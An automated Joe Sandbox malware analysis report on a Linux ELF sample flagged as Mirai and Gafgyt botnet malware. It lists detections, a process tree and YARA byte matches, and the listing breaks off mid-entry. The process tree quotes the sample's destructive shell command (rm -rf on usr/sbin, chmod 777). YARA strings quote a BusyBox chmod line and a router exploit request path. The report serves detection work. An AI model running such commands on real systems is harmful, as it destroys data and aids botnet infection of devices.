Create Interactive Tour

Linux Analysis Report
wbUtbKZmxZ.elf

Overview

General Information

Sample name:	wbUtbKZmxZ.elf renamed because original name is a hash value
Original sample name:	dc1dd021f875444c0c6c45d457f2c121.elf
Analysis ID:	1412872
MD5:	dc1dd021f875444c0c6c45d457f2c121
SHA1:	32a7d0f39c753fd4e6f2bf5f52b06143d4b4230a
SHA256:	06292ea1e3c4d04bf760b68114574e566c7b0c941c8a5acafe1a44855cbae7ad
Tags:	32elfgafgytintel
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Changes permissions of common UNIX (system) binary directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1412872
Start date and time:	2024-03-21 05:24:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	wbUtbKZmxZ.elf renamed because original name is a hash value
Original Sample Name:	dc1dd021f875444c0c6c45d457f2c121.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/wbUtbKZmxZ.elf
PID:	6221
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	matrix
Standard Error:

Process Tree

system is lnxubuntu20

wbUtbKZmxZ.elf (PID: 6221, Parent: 6127, MD5: dc1dd021f875444c0c6c45d457f2c121) Arguments: /tmp/wbUtbKZmxZ.elf

wbUtbKZmxZ.elf New Fork (PID: 6222, Parent: 6221)

sh (PID: 6222, Parent: 6221, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf usr/sbin && mkdir usr; >usr/sbin && mv /tmp/wbUtbKZmxZ.elf usr/sbin; chmod 777 usr/sbin"

sh New Fork (PID: 6223, Parent: 6222)

rm (PID: 6223, Parent: 6222, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf usr/sbin

sh New Fork (PID: 6224, Parent: 6222)

mkdir (PID: 6224, Parent: 6222, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir usr

sh New Fork (PID: 6225, Parent: 6222)

mv (PID: 6225, Parent: 6222, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/wbUtbKZmxZ.elf usr/sbin

sh New Fork (PID: 6226, Parent: 6222)

chmod (PID: 6226, Parent: 6222, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 usr/sbin

wbUtbKZmxZ.elf New Fork (PID: 6227, Parent: 6221)

wbUtbKZmxZ.elf New Fork (PID: 6228, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6229, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6231, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6232, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6233, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6234, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6235, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6236, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6237, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6238, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6239, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6240, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6241, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6242, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6243, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6244, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6245, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6246, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6247, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6248, Parent: 6227)

wbUtbKZmxZ.elf New Fork (PID: 6249, Parent: 6227)

gnome-session-binary New Fork (PID: 6250, Parent: 1477)

sh (PID: 6250, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 6250, Parent: 1477, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
wbUtbKZmxZ.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
wbUtbKZmxZ.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
wbUtbKZmxZ.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1a080:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a094:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a10c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a120:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a134:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a148:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a15c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a170:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x56ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x56a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0x14a1d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0x14a9d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_3a85a418	unknown	unknown	0x4377:$a: 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x602:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x662:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0x7682:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x14f52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
wbUtbKZmxZ.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x16905:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
wbUtbKZmxZ.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1b91e:$x2: /bin/busybox chmod 777 * /tmp/ 0x1b68c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6249.1.0000000008048000.0000000008067000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6249.1.0000000008048000.0000000008067000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1a080:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a094:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a10c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a120:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a134:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a148:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a15c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a170:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x56ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x56a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0x14a1d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0x14a9d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_3a85a418	unknown	unknown	0x4377:$a: 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x602:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x662:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0x7682:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x14f52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6221.1.0000000008048000.0000000008067000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6249.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x16905:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6221.1.0000000008048000.0000000008067000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6249.1.0000000008048000.0000000008067000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1b91e:$x2: /bin/busybox chmod 777 * /tmp/ 0x1b68c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1a080:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a094:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a0f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a10c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a120:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a134:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a148:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a15c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a170:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a184:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a198:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a1fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_268aac0b	unknown	unknown	0x56ef:$a: 24 18 0F B7 44 24 20 8B 54 24 1C 83 F9 01 8B 7E 0C 89 04 24 8B
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_0cb1699c	unknown	unknown	0x56a2:$a: DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 10 0F B7 02 83 E9 02 83
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_70ef58f1	unknown	unknown	0x14a1d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C 0x14a9d:$a: 89 D0 8B 19 01 D8 0F B6 5C 24 10 30 18 89 D0 8B 19 01 D8 0F B6 5C
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_3a85a418	unknown	unknown	0x4377:$a: 01 D8 66 C1 C8 08 C1 C8 10 66 C1 C8 08 66 83 7C 24 2C FF 89
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_2e3f67a9	unknown	unknown	0x602:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 0x662:$a: 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_0d73971c	unknown	unknown	0x7682:$a: 89 C2 83 EB 04 C1 E2 0B 31 C2 89 F0 C1 E8 13 89 D1 31 F0 C1
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x14f52:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6221.1.0000000008048000.0000000008067000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x16905:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6221.1.0000000008048000.0000000008067000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x1b91e:$x2: /bin/busybox chmod 777 * /tmp/ 0x1b68c:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: wbUtbKZmxZ.elf PID: 6221	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x621:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x635:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x649:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x65d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x671:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x685:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x699:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x711:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x725:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x739:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x74d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x761:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x775:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x789:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x79d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x7b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: wbUtbKZmxZ.elf PID: 6249	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8bf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8fb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x923:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x937:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x94b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 